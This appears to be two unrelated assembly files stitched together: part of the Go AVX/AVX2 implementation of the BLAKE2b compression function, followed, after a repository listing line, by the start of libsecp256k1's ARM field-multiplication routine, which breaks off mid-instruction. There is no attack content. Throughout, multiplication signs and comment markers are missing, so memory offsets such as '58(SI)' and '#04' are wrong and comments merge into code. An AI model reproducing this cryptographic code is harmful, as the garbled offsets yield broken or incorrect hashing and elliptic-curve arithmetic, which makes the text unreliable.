VPSHUFD $0x4E, 58(SI), X11; \ VPINSRQ_1_SI_X13(48); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(15, 9, 3, 13); \ VMOVQ_SI_X15(118); \ VMOVQ_SI_X11(128); \ VPINSRQ_1_SI_X15(148); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, X11, Y15, Y15 // func fAVX2(h [8]uint64, m [16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX2(SB), 4, $64-48 // frame size = 32 + 32 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, DX MOVQ SP, R10 ADDQ $31, R10 ANDQ $~31, R10 MOVQ R10, SP MOVQ CX, 16(SP) XORQ CX, CX MOVQ CX, 24(SP) VMOVDQU ·AVX2_c40<>(SB), Y4 VMOVDQU ·AVX2_c48<>(SB), Y5 VMOVDQU 0(AX), Y8 VMOVDQU 32(AX), Y9 VMOVDQU ·AVX2_iv0<>(SB), Y6 VMOVDQU ·AVX2_iv1<>(SB), Y7 MOVQ R8, 0(SP) MOVQ R9, 8(SP) VMOVDQA Y8, Y0 VMOVDQA Y9, Y1 VMOVDQA Y6, Y2 VPXOR 0(SP), Y7, Y3 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) JMP loop done: VPXOR Y0, Y8, Y8 VPXOR Y1, Y9, Y9 VPXOR Y2, Y8, Y8 VPXOR Y3, Y9, Y9 VMOVDQU Y8, 0(AX) VMOVDQU Y9, 32(AX) VZEROUPPER MOVQ DX, SP RET #define VPUNPCKLQDQ_X2_X2_X15 BYTE $0xC5; BYTE $0x69; BYTE $0x6C; BYTE $0xFA #define VPUNPCKLQDQ_X3_X3_X15 BYTE $0xC5; BYTE $0x61; BYTE $0x6C; BYTE $0xFB #define VPUNPCKLQDQ_X7_X7_X15 BYTE $0xC5; BYTE $0x41; BYTE $0x6C; BYTE $0xFF #define VPUNPCKLQDQ_X13_X13_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x11; BYTE $0x6C; BYTE $0xFD #define VPUNPCKLQDQ_X14_X14_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x09; BYTE $0x6C; BYTE $0xFE #define VPUNPCKHQDQ_X15_X2_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x69; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X3_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X6_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x49; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X7_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xFF #define VPUNPCKHQDQ_X15_X3_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X7_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X13_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X13_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xFF #define SHUFFLE_AVX() \ VMOVDQA X6, X13; \ VMOVDQA X2, X14; \ VMOVDQA X4, X6; \ VPUNPCKLQDQ_X13_X13_X15; \ VMOVDQA X5, X4; \ VMOVDQA X6, X5; \ VPUNPCKHQDQ_X15_X7_X6; \ VPUNPCKLQDQ_X7_X7_X15; \ VPUNPCKHQDQ_X15_X13_X7; \ VPUNPCKLQDQ_X3_X3_X15; \ VPUNPCKHQDQ_X15_X2_X2; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X3_X3; \ #define SHUFFLE_AVX_INV() \ VMOVDQA X2, X13; \ VMOVDQA X4, X14; \ VPUNPCKLQDQ_X2_X2_X15; \ VMOVDQA X5, X4; \ VPUNPCKHQDQ_X15_X3_X2; \ VMOVDQA X14, X5; \ VPUNPCKLQDQ_X3_X3_X15; \ VMOVDQA X6, X14; \ VPUNPCKHQDQ_X15_X13_X3; \ VPUNPCKLQDQ_X7_X7_X15; \ VPUNPCKHQDQ_X15_X6_X6; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X7_X7; \ #define HALF_ROUND_AVX(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ VPADDQ m0, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m1, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFD $-79, v6, v6; \ VPSHUFD $-79, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPSHUFB c40, v2, v2; \ VPSHUFB c40, v3, v3; \ VPADDQ m2, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m3, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFB c48, v6, v6; \ VPSHUFB c48, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPADDQ v2, v2, t0; \ VPSRLQ $63, v2, v2; \ VPXOR t0, v2, v2; \ VPADDQ v3, v3, t0; \ VPSRLQ $63, v3, v3; \ VPXOR t0, v3, v3 // load msg: X12 = (i0, i1), X13 = (i2, i3), X14 = (i4, i5), X15 = (i6, i7) // i0, i1, i2, i3, i4, i5, i6, i7 must not be 0 #define LOAD_MSG_AVX(i0, i1, i2, i3, i4, i5, i6, i7) \ VMOVQ_SI_X12(i08); \ VMOVQ_SI_X13(i28); \ VMOVQ_SI_X14(i48); \ VMOVQ_SI_X15(i68); \ VPINSRQ_1_SI_X12(i18); \ VPINSRQ_1_SI_X13(i38); \ VPINSRQ_1_SI_X14(i58); \ VPINSRQ_1_SI_X15(i78) // load msg: X12 = (0, 2), X13 = (4, 6), X14 = (1, 3), X15 = (5, 7) #define LOAD_MSG_AVX_0_2_4_6_1_3_5_7() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X13(48); \ VMOVQ_SI_X14(18); \ VMOVQ_SI_X15(58); \ VPINSRQ_1_SI_X12(28); \ VPINSRQ_1_SI_X13(68); \ VPINSRQ_1_SI_X14(38); \ VPINSRQ_1_SI_X15(78) // load msg: X12 = (1, 0), X13 = (11, 5), X14 = (12, 2), X15 = (7, 3) #define LOAD_MSG_AVX_1_0_11_5_12_2_7_3() \ VPSHUFD $0x4E, 08(SI), X12; \ VMOVQ_SI_X13(118); \ VMOVQ_SI_X14(128); \ VMOVQ_SI_X15(78); \ VPINSRQ_1_SI_X13(58); \ VPINSRQ_1_SI_X14(28); \ VPINSRQ_1_SI_X15(38) // load msg: X12 = (11, 12), X13 = (5, 15), X14 = (8, 0), X15 = (2, 13) #define LOAD_MSG_AVX_11_12_5_15_8_0_2_13() \ VMOVDQU 118(SI), X12; \ VMOVQ_SI_X13(58); \ VMOVQ_SI_X14(88); \ VMOVQ_SI_X15(28); \ VPINSRQ_1_SI_X13(158); \ VPINSRQ_1_SI_X14_0; \ VPINSRQ_1_SI_X15(138) // load msg: X12 = (2, 5), X13 = (4, 15), X14 = (6, 10), X15 = (0, 8) #define LOAD_MSG_AVX_2_5_4_15_6_10_0_8() \ VMOVQ_SI_X12(28); \ VMOVQ_SI_X13(48); \ VMOVQ_SI_X14(68); \ VMOVQ_SI_X15_0; \ VPINSRQ_1_SI_X12(58); \ VPINSRQ_1_SI_X13(158); \ VPINSRQ_1_SI_X14(108); \ VPINSRQ_1_SI_X15(88) // load msg: X12 = (9, 5), X13 = (2, 10), X14 = (0, 7), X15 = (4, 15) #define LOAD_MSG_AVX_9_5_2_10_0_7_4_15() \ VMOVQ_SI_X12(98); \ VMOVQ_SI_X13(28); \ VMOVQ_SI_X14_0; \ VMOVQ_SI_X15(48); \ VPINSRQ_1_SI_X12(58); \ VPINSRQ_1_SI_X13(108); \ VPINSRQ_1_SI_X14(78); \ VPINSRQ_1_SI_X15(158) // load msg: X12 = (2, 6), X13 = (0, 8), X14 = (12, 10), X15 = (11, 3) #define LOAD_MSG_AVX_2_6_0_8_12_10_11_3() \ VMOVQ_SI_X12(28); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X14(128); \ VMOVQ_SI_X15(118); \ VPINSRQ_1_SI_X12(68); \ VPINSRQ_1_SI_X13(88); \ VPINSRQ_1_SI_X14(108); \ VPINSRQ_1_SI_X15(38) // load msg: X12 = (0, 6), X13 = (9, 8), X14 = (7, 3), X15 = (2, 11) #define LOAD_MSG_AVX_0_6_9_8_7_3_2_11() \ MOVQ 08(SI), X12; \ VPSHUFD $0x4E, 88(SI), X13; \ MOVQ 78(SI), X14; \ MOVQ 28(SI), X15; \ VPINSRQ_1_SI_X12(68); \ VPINSRQ_1_SI_X14(38); \ VPINSRQ_1_SI_X15(118) // load msg: X12 = (6, 14), X13 = (11, 0), X14 = (15, 9), X15 = (3, 8) #define LOAD_MSG_AVX_6_14_11_0_15_9_3_8() \ MOVQ 68(SI), X12; \ MOVQ 118(SI), X13; \ MOVQ 158(SI), X14; \ MOVQ 38(SI), X15; \ VPINSRQ_1_SI_X12(148); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X14(98); \ VPINSRQ_1_SI_X15(88) // load msg: X12 = (5, 15), X13 = (8, 2), X14 = (0, 4), X15 = (6, 10) #define LOAD_MSG_AVX_5_15_8_2_0_4_6_10() \ MOVQ 58(SI), X12; \ MOVQ 88(SI), X13; \ MOVQ 08(SI), X14; \ MOVQ 68(SI), X15; \ VPINSRQ_1_SI_X12(158); \ VPINSRQ_1_SI_X13(28); \ VPINSRQ_1_SI_X14(48); \ VPINSRQ_1_SI_X15(108) // load msg: X12 = (12, 13), X13 = (1, 10), X14 = (2, 7), X15 = (4, 5) #define LOAD_MSG_AVX_12_13_1_10_2_7_4_5() \ VMOVDQU 128(SI), X12; \ MOVQ 18(SI), X13; \ MOVQ 28(SI), X14; \ VPINSRQ_1_SI_X13(108); \ VPINSRQ_1_SI_X14(78); \ VMOVDQU 48(SI), X15 // load msg: X12 = (15, 9), X13 = (3, 13), X14 = (11, 14), X15 = (12, 0) #define LOAD_MSG_AVX_15_9_3_13_11_14_12_0() \ MOVQ 158(SI), X12; \ MOVQ 38(SI), X13; \ MOVQ 118(SI), X14; \ MOVQ 128(SI), X15; \ VPINSRQ_1_SI_X12(98); \ VPINSRQ_1_SI_X13(138); \ VPINSRQ_1_SI_X14(148); \ VPINSRQ_1_SI_X15_0 // func fAVX(h [8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP VMOVDQU ·AVX_c40<>(SB), X0 VMOVDQU ·AVX_c48<>(SB), X1 VMOVDQA X0, X8 VMOVDQA X1, X9 VMOVDQU ·AVX_iv3<>(SB), X0 VMOVDQA X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·AVX_iv3 ^ (CX \|\| 0) VMOVDQU 0(AX), X10 VMOVDQU 16(AX), X11 VMOVDQU 32(AX), X2 VMOVDQU 48(AX), X3 VMOVQ_R8_X15 VPINSRQ_1_R9_X15 VMOVDQA X10, X0 VMOVDQA X11, X1 VMOVDQU ·AVX_iv0<>(SB), X4 VMOVDQU ·AVX_iv1<>(SB), X5 VMOVDQU ·AVX_iv2<>(SB), X6 VPXOR X15, X6, X6 VMOVDQA 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX_0_2_4_6_1_3_5_7() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_1_0_11_5_12_2_7_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_11_12_5_15_8_0_2_13() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_2_5_4_15_6_10_0_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_9_5_2_10_0_7_4_15() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_2_6_0_8_12_10_11_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_0_6_9_8_7_3_2_11() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_5_15_8_2_0_4_6_10() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_6_14_11_0_15_9_3_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_12_13_1_10_2_7_4_5() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_15_9_3_13_11_14_12_0() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() JMP loop done: VMOVDQU 32(AX), X14 VMOVDQU 48(AX), X15 VPXOR X0, X10, X10 VPXOR X1, X11, X11 VPXOR X2, X14, X14 VPXOR X3, X15, X15 VPXOR X4, X10, X10 VPXOR X5, X11, X11 VPXOR X6, X14, X2 VPXOR X7, X15, X3 VMOVDQU X2, 32(AX) VMOVDQU X3, 48(AX) VMOVDQU X10, 0(AX) VMOVDQU X11, 16(AX) VZEROUPPER MOVQ BP, SP RET
0xPolygon/bor	28,281	crypto/secp256k1/libsecp256k1/src/asm/field_10x26_arm.s	@ vim: set tabstop=8 softtabstop=8 shiftwidth=8 noexpandtab syntax=armasm: /*********************************************************************** * Copyright (c) 2014 Wladimir J. van der Laan * * Distributed under the MIT software license, see the accompanying * * file COPYING or https://www.opensource.org/licenses/mit-license.php.* **********************************************************************/ / ARM implementation of field_10x26 inner loops. Note: - To avoid unnecessary loads and make use of available registers, two 'passes' have every time been interleaved, with the odd passes accumulating c' and d' which will be added to c and d respectively in the even passes / .syntax unified @ eabi attributes - see readelf -A .eabi_attribute 24, 1 @ Tag_ABI_align_needed = 8-byte .eabi_attribute 25, 1 @ Tag_ABI_align_preserved = 8-byte, except leaf SP .text @ Field constants .set field_R0, 0x3d10 .set field_R1, 0x400 .set field_not_M, 0xfc000000 @ ~M = ~0x3ffffff .align 2 .global secp256k1_fe_mul_inner .type secp256k1_fe_mul_inner, %function .hidden secp256k1_fe_mul_inner @ Arguments: @ r0 r Restrict: can overlap with a, not with b @ r1 a @ r2 b @ Stack (total 4+104 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_mul_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /***************************************** * Main computation code. ****************************************** Allocation: r0,r14,r7,r8 scratch r1 a (pointer) r2 b (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] / / A - interleaved with B / ldr r7, [r1, #04] @ a[0] ldr r8, [r2, #94] @ b[9] ldr r0, [r1, #14] @ a[1] umull r5, r6, r7, r8 @ d = a[0] * b[9] ldr r14, [r2, #84] @ b[8] umull r9, r10, r0, r8 @ d' = a[1] b[9] ldr r7, [r1, #24] @ a[2] umlal r5, r6, r0, r14 @ d += a[1] b[8] ldr r8, [r2, #74] @ b[7] umlal r9, r10, r7, r14 @ d' += a[2] b[8] ldr r0, [r1, #34] @ a[3] umlal r5, r6, r7, r8 @ d += a[2] b[7] ldr r14, [r2, #64] @ b[6] umlal r9, r10, r0, r8 @ d' += a[3] b[7] ldr r7, [r1, #44] @ a[4] umlal r5, r6, r0, r14 @ d += a[3] b[6] ldr r8, [r2, #54] @ b[5] umlal r9, r10, r7, r14 @ d' += a[4] b[6] ldr r0, [r1, #54] @ a[5] umlal r5, r6, r7, r8 @ d += a[4] b[5] ldr r14, [r2, #44] @ b[4] umlal r9, r10, r0, r8 @ d' += a[5] b[5] ldr r7, [r1, #64] @ a[6] umlal r5, r6, r0, r14 @ d += a[5] b[4] ldr r8, [r2, #34] @ b[3] umlal r9, r10, r7, r14 @ d' += a[6] b[4] ldr r0, [r1, #74] @ a[7] umlal r5, r6, r7, r8 @ d += a[6] b[3] ldr r14, [r2, #24] @ b[2] umlal r9, r10, r0, r8 @ d' += a[7] b[3] ldr r7, [r1, #84] @ a[8] umlal r5, r6, r0, r14 @ d += a[7] b[2] ldr r8, [r2, #14] @ b[1] umlal r9, r10, r7, r14 @ d' += a[8] b[2] ldr r0, [r1, #94] @ a[9] umlal r5, r6, r7, r8 @ d += a[8] b[1] ldr r14, [r2, #04] @ b[0] umlal r9, r10, r0, r8 @ d' += a[9] b[1] ldr r7, [r1, #04] @ a[0] umlal r5, r6, r0, r14 @ d += a[9] b[0] @ r7,r14 used in B bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 49] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 / B / umull r3, r4, r7, r14 @ c = a[0] b[0] adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 04] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 R1 umlal r3, r4, r0, r14 /* C - interleaved with D / ldr r7, [r1, #04] @ a[0] ldr r8, [r2, #24] @ b[2] ldr r14, [r2, #14] @ b[1] umull r11, r12, r7, r8 @ c' = a[0] * b[2] ldr r0, [r1, #14] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] b[1] ldr r8, [r2, #04] @ b[0] umlal r11, r12, r0, r14 @ c' += a[1] b[1] ldr r7, [r1, #24] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] b[0] ldr r14, [r2, #94] @ b[9] umlal r11, r12, r7, r8 @ c' += a[2] b[0] ldr r0, [r1, #34] @ a[3] umlal r5, r6, r7, r14 @ d += a[2] b[9] ldr r8, [r2, #84] @ b[8] umull r9, r10, r0, r14 @ d' = a[3] b[9] ldr r7, [r1, #44] @ a[4] umlal r5, r6, r0, r8 @ d += a[3] b[8] ldr r14, [r2, #74] @ b[7] umlal r9, r10, r7, r8 @ d' += a[4] b[8] ldr r0, [r1, #54] @ a[5] umlal r5, r6, r7, r14 @ d += a[4] b[7] ldr r8, [r2, #64] @ b[6] umlal r9, r10, r0, r14 @ d' += a[5] b[7] ldr r7, [r1, #64] @ a[6] umlal r5, r6, r0, r8 @ d += a[5] b[6] ldr r14, [r2, #54] @ b[5] umlal r9, r10, r7, r8 @ d' += a[6] b[6] ldr r0, [r1, #74] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] b[5] ldr r8, [r2, #44] @ b[4] umlal r9, r10, r0, r14 @ d' += a[7] b[5] ldr r7, [r1, #84] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] b[4] ldr r14, [r2, #34] @ b[3] umlal r9, r10, r7, r8 @ d' += a[8] b[4] ldr r0, [r1, #94] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] b[3] ldr r8, [r2, #24] @ b[2] umlal r9, r10, r0, r14 @ d' += a[9] b[3] umlal r5, r6, r0, r8 @ d += a[9] * b[2] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 14] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 R1 umlal r3, r4, r0, r14 /* D / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 24] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 R1 umlal r3, r4, r0, r14 /* E - interleaved with F / ldr r7, [r1, #04] @ a[0] ldr r8, [r2, #44] @ b[4] umull r11, r12, r7, r8 @ c' = a[0] b[4] ldr r8, [r2, #34] @ b[3] umlal r3, r4, r7, r8 @ c += a[0] b[3] ldr r7, [r1, #14] @ a[1] umlal r11, r12, r7, r8 @ c' += a[1] b[3] ldr r8, [r2, #24] @ b[2] umlal r3, r4, r7, r8 @ c += a[1] b[2] ldr r7, [r1, #24] @ a[2] umlal r11, r12, r7, r8 @ c' += a[2] b[2] ldr r8, [r2, #14] @ b[1] umlal r3, r4, r7, r8 @ c += a[2] b[1] ldr r7, [r1, #34] @ a[3] umlal r11, r12, r7, r8 @ c' += a[3] b[1] ldr r8, [r2, #04] @ b[0] umlal r3, r4, r7, r8 @ c += a[3] b[0] ldr r7, [r1, #44] @ a[4] umlal r11, r12, r7, r8 @ c' += a[4] b[0] ldr r8, [r2, #94] @ b[9] umlal r5, r6, r7, r8 @ d += a[4] b[9] ldr r7, [r1, #54] @ a[5] umull r9, r10, r7, r8 @ d' = a[5] b[9] ldr r8, [r2, #84] @ b[8] umlal r5, r6, r7, r8 @ d += a[5] b[8] ldr r7, [r1, #64] @ a[6] umlal r9, r10, r7, r8 @ d' += a[6] b[8] ldr r8, [r2, #74] @ b[7] umlal r5, r6, r7, r8 @ d += a[6] b[7] ldr r7, [r1, #74] @ a[7] umlal r9, r10, r7, r8 @ d' += a[7] b[7] ldr r8, [r2, #64] @ b[6] umlal r5, r6, r7, r8 @ d += a[7] b[6] ldr r7, [r1, #84] @ a[8] umlal r9, r10, r7, r8 @ d' += a[8] b[6] ldr r8, [r2, #54] @ b[5] umlal r5, r6, r7, r8 @ d += a[8] b[5] ldr r7, [r1, #94] @ a[9] umlal r9, r10, r7, r8 @ d' += a[9] b[5] ldr r8, [r2, #44] @ b[4] umlal r5, r6, r7, r8 @ d += a[9] b[4] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 34] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 R1 umlal r3, r4, r0, r14 /* F / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 44] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 R1 umlal r3, r4, r0, r14 /* G - interleaved with H / ldr r7, [r1, #04] @ a[0] ldr r8, [r2, #64] @ b[6] ldr r14, [r2, #54] @ b[5] umull r11, r12, r7, r8 @ c' = a[0] * b[6] ldr r0, [r1, #14] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] b[5] ldr r8, [r2, #44] @ b[4] umlal r11, r12, r0, r14 @ c' += a[1] b[5] ldr r7, [r1, #24] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] b[4] ldr r14, [r2, #34] @ b[3] umlal r11, r12, r7, 